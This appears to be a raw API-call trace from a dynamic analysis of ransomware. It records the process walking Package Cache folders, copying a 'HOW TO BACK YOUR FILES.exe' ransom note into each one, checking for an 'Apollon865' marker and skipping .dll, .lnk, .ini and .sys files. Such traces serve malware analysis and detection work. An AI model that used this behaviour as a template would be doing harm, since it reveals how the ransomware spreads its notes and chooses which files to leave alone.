	[0050.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0050.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe4) returned 0x5b58d8
	[0050.599] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x5b7c10
	[0050.599] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.599] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.599] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0050.599] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0050.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b58d8 | out: hHeap=0x580000) returned 1
	[0050.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0050.599] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned 113
	[0050.599] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0050.599] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.599] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.599] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.600] GetLastError () returned 0x0
	[0050.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.600] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.600] CloseHandle (hObject=0x15c) returned 1
	[0050.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.600] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.600] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.600] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.600] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.600] lstrcpyW (in: lpString1=0x2d3e634, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.600] lstrlenW (lpString="cab1.cab") returned 8
	[0050.600] lstrlenW (lpString="Apollon865") returned 10
	[0050.600] lstrlenW (lpString=".dll") returned 4
	[0050.600] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.600] lstrlenW (lpString=".lnk") returned 4
	[0050.600] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.600] lstrlenW (lpString=".ini") returned 4
	[0050.600] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.600] lstrlenW (lpString=".sys") returned 4
	[0050.600] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.600] lstrlenW (lpString="cab1.cab") returned 8
	[0050.600] lstrcpyW (in: lpString1=0x2d3e634, lpString2="vc_runtimeAdditional_x64.msi" | out: lpString1="vc_runtimeAdditional_x64.msi") returned="vc_runtimeAdditional_x64.msi"
	[0050.600] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0050.600] lstrlenW (lpString="Apollon865") returned 10
	[0050.601] lstrcmpiW (lpString1="al_x64.msi", lpString2="Apollon865") returned -1
	[0050.601] lstrlenW (lpString=".dll") returned 4
	[0050.601] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".dll") returned 1
	[0050.601] lstrlenW (lpString=".lnk") returned 4
	[0050.601] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".lnk") returned 1
	[0050.601] lstrlenW (lpString=".ini") returned 4
	[0050.601] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".ini") returned 1
	[0050.601] lstrlenW (lpString=".sys") returned 4
	[0050.601] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".sys") returned 1
	[0050.601] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0050.601] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0050.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afbb0 | out: hHeap=0x580000) returned 1
	[0050.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0050.601] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 79
	[0050.601] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0050.601] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.601] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.601] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.602] GetLastError () returned 0x0
	[0050.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.602] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.602] CloseHandle (hObject=0x15c) returned 1
	[0050.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.602] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.602] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.604] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.604] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.604] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0050.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0050.604] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0050.604] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.604] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.604] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0050.604] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0050.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0050.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0050.604] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned 88
	[0050.604] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0050.604] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.605] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.605] GetLastError () returned 0x0
	[0050.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.605] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.605] CloseHandle (hObject=0x15c) returned 1
	[0050.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.605] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.605] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.605] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.605] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.605] lstrcpyW (in: lpString1=0x2d3e602, lpString2="vcRuntimeMinimum_amd64" | out: lpString1="vcRuntimeMinimum_amd64") returned="vcRuntimeMinimum_amd64"
	[0050.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0050.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe0) returned 0x5afbb0
	[0050.606] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0050.606] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.606] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.606] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0050.606] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0050.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afbb0 | out: hHeap=0x580000) returned 1
	[0050.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0050.606] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned 111
	[0050.606] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0050.606] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.606] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.606] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.606] GetLastError () returned 0x0
	[0050.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.606] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.607] CloseHandle (hObject=0x15c) returned 1
	[0050.607] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.607] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.607] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.607] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.607] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.607] lstrcpyW (in: lpString1=0x2d3e630, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.607] lstrlenW (lpString="cab1.cab") returned 8
	[0050.607] lstrlenW (lpString="Apollon865") returned 10
	[0050.607] lstrlenW (lpString=".dll") returned 4
	[0050.607] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.607] lstrlenW (lpString=".lnk") returned 4
	[0050.607] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.607] lstrlenW (lpString=".ini") returned 4
	[0050.607] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.607] lstrlenW (lpString=".sys") returned 4
	[0050.607] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.607] lstrlenW (lpString="cab1.cab") returned 8
	[0050.607] lstrcpyW (in: lpString1=0x2d3e630, lpString2="vc_runtimeMinimum_x64.msi" | out: lpString1="vc_runtimeMinimum_x64.msi") returned="vc_runtimeMinimum_x64.msi"
	[0050.607] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0050.607] lstrlenW (lpString="Apollon865") returned 10
	[0050.607] lstrcmpiW (lpString1="um_x64.msi", lpString2="Apollon865") returned 1
	[0050.607] lstrlenW (lpString=".dll") returned 4
	[0050.607] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".dll") returned 1
	[0050.607] lstrlenW (lpString=".lnk") returned 4
	[0050.607] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".lnk") returned 1
	[0050.608] lstrlenW (lpString=".ini") returned 4
	[0050.608] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".ini") returned 1
	[0050.608] lstrlenW (lpString=".sys") returned 4
	[0050.608] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".sys") returned 1
	[0050.608] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0050.608] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0050.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb08 | out: hHeap=0x580000) returned 1
	[0050.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0050.608] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 79
	[0050.608] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0050.608] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.608] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.608] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.608] GetLastError () returned 0x0
	[0050.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.609] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.609] CloseHandle (hObject=0x15c) returned 1
	[0050.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.609] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.609] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.609] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.609] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.609] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0050.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0050.609] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7c90
